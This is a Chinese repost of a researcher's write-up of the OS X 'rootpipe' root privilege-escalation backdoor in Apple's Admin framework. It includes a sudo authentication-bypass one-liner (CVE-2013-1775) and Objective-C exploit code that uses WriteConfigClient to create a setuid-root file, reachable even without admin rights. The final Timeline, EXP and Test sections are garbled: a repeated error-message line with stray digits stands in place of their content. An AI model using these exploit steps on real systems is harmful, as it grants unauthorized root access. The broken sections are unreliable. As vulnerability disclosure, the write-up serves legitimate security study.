0x00 摘要
Apple OS X系统中的Admin框架存在可以提升root权限的API后门,并且已经存在多年(至少是从2011年开始)。我是在2014年的10月发现他可以被用来已任何用户权限提升为root权限,其本意可能是要服务“System Preferences”和systemsetup(命令行工具),但是所有的用户进程可以使用相同的功能。
苹果刚刚发布了OS X 10.10.3解决了此问题,但是OS X 10.9.x以及之前的版本存在此问题,因为苹果决定不对这些版本进行修复了。我们建议所有的用户都升级到10.10.3。
0x01 demo
我使用的第一个exp是基于CVE-2013-1775的,一个sudo认证绕过bug,这个bug已经在10.8.5(2013年9月)修复了。
exp代码非常的简单:
$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su
我跟我同事Philip ?kesson聊这个exp代码实际上使用了systemsetup来修改系统时间。我们一起来看了下他修复的细节,原来除了修复了sudo,Apple也同时做了另外一件事情,他们把systemsetup设置为需要root权限,当以非root权限执行systemsetup的时候,下面的信息就会显示(在10.8.5以及之后版本):
$ systemsetup You need administrator access to run this tool... exiting!
OK,所以systemsetup二进制文件只是简单的检查了是否是root权限。
修改了一下函数(用setne替代sete):取得了成功
$ systemsetup > systemsetup > type -help for help.
这将在22端口上开启ssh服务,当然你也可以通过launchtl开启,但是launchtl需要root权限。所以这在权限上还是有很明显的区别的。到目前为止,我们只是回到之前的systemsetup(10.8.5之前),你可以用systemsetup执行命令的一个例子:
$ systemsetup –setremotelogin on
类名为RemoteServerSettings表明,有某种进程间通信可以解释为什么需要root操作执行。不过还是要提一下,通过System Preferences开启SSH服务也不需要root权限。
我发现这种权限的差异非常有趣,继续反编译systemsetup。
通过一个名字叫做[ServerSettings setRemoteLogin:]的方法实现了systemsetup中的setremotelogin命令。
函数做了一些输入检查,然后调用[InternetServices setSSHServerEnabled:],这是在Admin框架中实现。反编译Admin框架可以看到setSSHServerEnabled并不是InternetServices接口的唯一方法,清单如下:
+[InternetServices sharedInternetServices] +[InternetServices sharedInternetServices].sSharedInternetServices -[InternetServices _netFSServerFrameworkBundle] -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle -[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce -[InternetServices faxReceiveEnabled] -[InternetServices ftpServerEnabled] -[InternetServices httpdEnabled] -[InternetServices isFTPServerAvailable] -[InternetServices isFaxReceiveAvailable] -[InternetServices isGuestForProtocolEnabled:] -[InternetServices isHttpdAvailable] -[InternetServices isNSCProtocolAvailable:] -[InternetServices isNSCProtocolEnabled:] -[InternetServices isNSServerShuttingDown:] -[InternetServices isOpticalDiscSharingEnabled] -[InternetServices isRemoteAEServerAvailable] -[InternetServices isSSHServerAvailable] -[InternetServices nscServerCancelShutdown:refNum:] -[InternetServices nscServerShutdown:withDelay:] -[InternetServices numberOfClientsForProtocols:] -[InternetServices remoteAEServerEnabled] -[InternetServices saveNatPrefs:] -[InternetServices screensharingEnabled] -[InternetServices sendSIGHUPToEfax] -[InternetServices setFTPServerEnabled:] -[InternetServices setFaxReceiveEnabled:] -[InternetServices setGuestForProtocol:enabled:] -[InternetServices setHttpdEnabled:] -[InternetServices setInetDServiceEnabled:enabled:] -[InternetServices setNSCProtocols:enabled:] -[InternetServices setOpticalDiscSharingEnabled:] -[InternetServices setRemoteAEServerEnabled:] -[InternetServices setSSHServerEnabled:] -[InternetServices setScreensharingEnabled:] -[InternetServices sshServerEnabled] _OBJC_CLASS_$_InternetServices _OBJC_METACLASS_$_InternetServices ___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
代码看来是为guest账户创建一个用户特定的Apache配置文件,注意root用户是这个文件的拥有者:
$ ls -l /etc/apache2/users/ total 8 -rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf
0x02 发现后门
上面截图的代码中最后一个被调用的Objective-C方法是createFileWithContents:path:attributes:
他获取一个组数组包括字节数,文件路径,文件属性。
自己代码中使用这个函数是这个样子的:
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];
问题在于我们如何控制“tool”,再看一看开始的代码截图:
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];
看起来[SFAuthorization authorization]可以来做触发,下面是我的新的exp:
id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];
文件最终创建,setuid已经设置:
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
上面的代码适用于10.9及以后版本,10.7.x和10.8.x有些类文件名略不相同。既然setuid已经设置并且拥有者是root,我们就有有了一个提权漏洞。
但是上面的代码仍然有一个问题,只可以在admin的权限下运行,之前提到过几乎所有的OS X用户都是admin。
最终找到一个适用所有用户使用的方法,很简单,只要把[SFAuthorization authorization]:的结果替换为发送nil到authenticateUsingAuthorizationSync。
$ systemsetup You need administrator access to run this tool... exiting!
0
0x03 Timeline
$ systemsetup You need administrator access to run this tool... exiting!
1
0x04 EXP
$ systemsetup You need administrator access to run this tool... exiting!
2
0x05 测试
$ systemsetup You need administrator access to run this tool... exiting!
3
本文转载自 乌云知识库
原文链接:http://drops.wooyun.org/tips/5566














暂无评论内容